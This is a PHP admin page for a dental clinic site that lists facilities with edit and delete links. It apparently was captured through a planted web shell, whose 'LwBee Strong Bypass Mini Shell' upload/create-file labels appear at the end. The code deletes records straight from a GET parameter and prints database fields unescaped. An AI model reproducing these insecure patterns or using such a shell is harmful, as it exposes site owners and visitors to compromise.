/home3/vehiclea/public_html/admin-kalyanidentalclinics-com/facility_report.php
<?php
    include "header.php";
    $select = select_facilities();
    if(!empty($_GET['delId'])){
       delete_facility($_GET['delId']);
    }
    
?>
<script src='https://kit.fontawesome.com/a076d05399.js' crossorigin='anonymous'></script>
<body>

  <!-- ======= Header ======= -->
 

  <!-- ======= Sidebar ======= -->
  
  <main id="main" class="main">

    <div class="pagetitle">
      <h1>Data Tables</h1>
      <nav>
        <ol class="breadcrumb">
          <li class="breadcrumb-item"><a href="dashboard.php">Dashboard</a></li>
          <li class="breadcrumb-item">Facility Report</li>
          
        </ol>
      </nav>
    </div><!-- End Page Title -->

    <section class="section">
      <div class="row">
        <div class="col-lg-12">

          <div class="card">
            <div class="card-body">
              <h5 class="card-title">Facility Report</h5>
              <?php
                if(!empty($_GET['edit']))
                {
            ?>
              <div align="center" style="color:green;"> <h4>Updated Successfully</h4></div>
              <?php
              }
            ?>
              <?php
                if(!empty($_GET['del']))
                {
            ?>
              <div align="center" style="color:green;"> <h4>Deleted Successfully</h4></div>
              <?php
              }
            ?>
              <!-- Table with stripped rows -->
              <table class="table datatable">
                <thead>
                  <tr>
                    <th scope="col">#</th>
                    <th scope="col">Name</th>
                    <th scope="col">Description</th>
                    <th scope="col">Image</th>
                    <th scope="col">Status</th>
                    <th scope="col">Action</th>
                  </tr>
                </thead>
                <tbody>
                 <?php
                 $i=1;
                   while($row = mysqli_fetch_array($select)){
                    
                 ?>
                
                  <tr>
                    <td><?= $i;?></td>
                  <td><?= $row['name']?></td>
                  <td><?= $row['content']?></td>
                  <td><img src="uploads/facility/<?= $row['image']?>" width="50px"></td>
                  <td><?php if($row['status']==1){ echo "Active";}else{ echo "Inactive";}?></td>
                  <td>
                    <a href="facility_edit.php?editId=<?= $row['id']?>"><button class="btn btn-success">Edit</button></a>
                    <a href="facility_report.php?delId=<?= $row['id']?>"><button class="btn btn-danger">Delete</button></a>
                  </td>
                  </tr>
                  <?php $i++;}?>
                </tbody>
              </table>
              <!-- End Table with stripped rows -->

            </div>
          </div>

        </div>
      </div>
    </section>

  </main><!-- End #main -->

  <!-- ======= Footer ======= -->
  <?php
    include  "footer.php";
  ?>
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File